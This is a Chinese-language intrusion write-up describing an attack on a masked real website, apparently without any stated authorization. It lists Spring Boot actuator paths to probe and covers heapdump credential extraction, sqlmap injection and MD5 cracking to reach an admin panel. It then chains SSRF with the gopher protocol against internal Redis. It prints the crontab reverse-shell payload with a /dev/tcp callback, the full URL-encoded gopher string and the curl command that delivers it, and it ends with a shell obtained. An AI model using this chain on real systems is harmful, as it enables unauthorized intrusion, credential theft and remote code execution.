网站:www.xxx.com
第一步:信息收集
很明显,cdn,尝试从子域名来看看
我这边比较喜欢将扫出来的东西定位在攻击.
通过扫描所有子域名ip,从中找到spring boot框架的网站,
ctuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/healthcheck
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions
下载他的heapdump文件,使用heapdump_tool工具查找里面的敏感数据
mysql与redis,但是不通外网,先将账号密码收集起来
查找到accesskey
可惜的是这个只是存储同权限
对ip端口扫描发现后台以及xxl-job
很遗憾,不是弱口令,burp也跑不出结果
网站后台也一样
万幸,从其他域名找到了一个注入
查找注入的方法是,浏览器挂这burp,查找可能存在注入的参数慢慢点,差不多了就到burp针对每一个包都测试一边。
直接sqlmap跑
成功跑出,查看能否获取xxl-job账户密码,直接后台打内存马,
可惜的是,只有一个库,只能查看后台账号密码了
成功解开md5,成功登录刚才发现的那个后台
查看有没有拿shell的机会
在经历一段时间的查找,从某个参数找到ssrf漏洞,并验证成功,vps开启http端口
成功回显
先ping一下刚才那个mysql地址查看ip,之后dict协议查看
成功出现
接下来就可以使用收集到的redis密码来利用
Redis配合gopher协议getshell
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了Gopher
协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
接下来就是利用contrab计划任务反弹shell
我们先将反弹shell列出来
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/1xx.xxx.xxx.1xx:/1221 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
https://github.com/firebroo/sec_tools
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%36%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
由于这个redis有密码,所以需要加上auth
curl https://xxx//setting/config/xxx?xxx=gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%36%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a --cookie"cookie"
成功反弹shell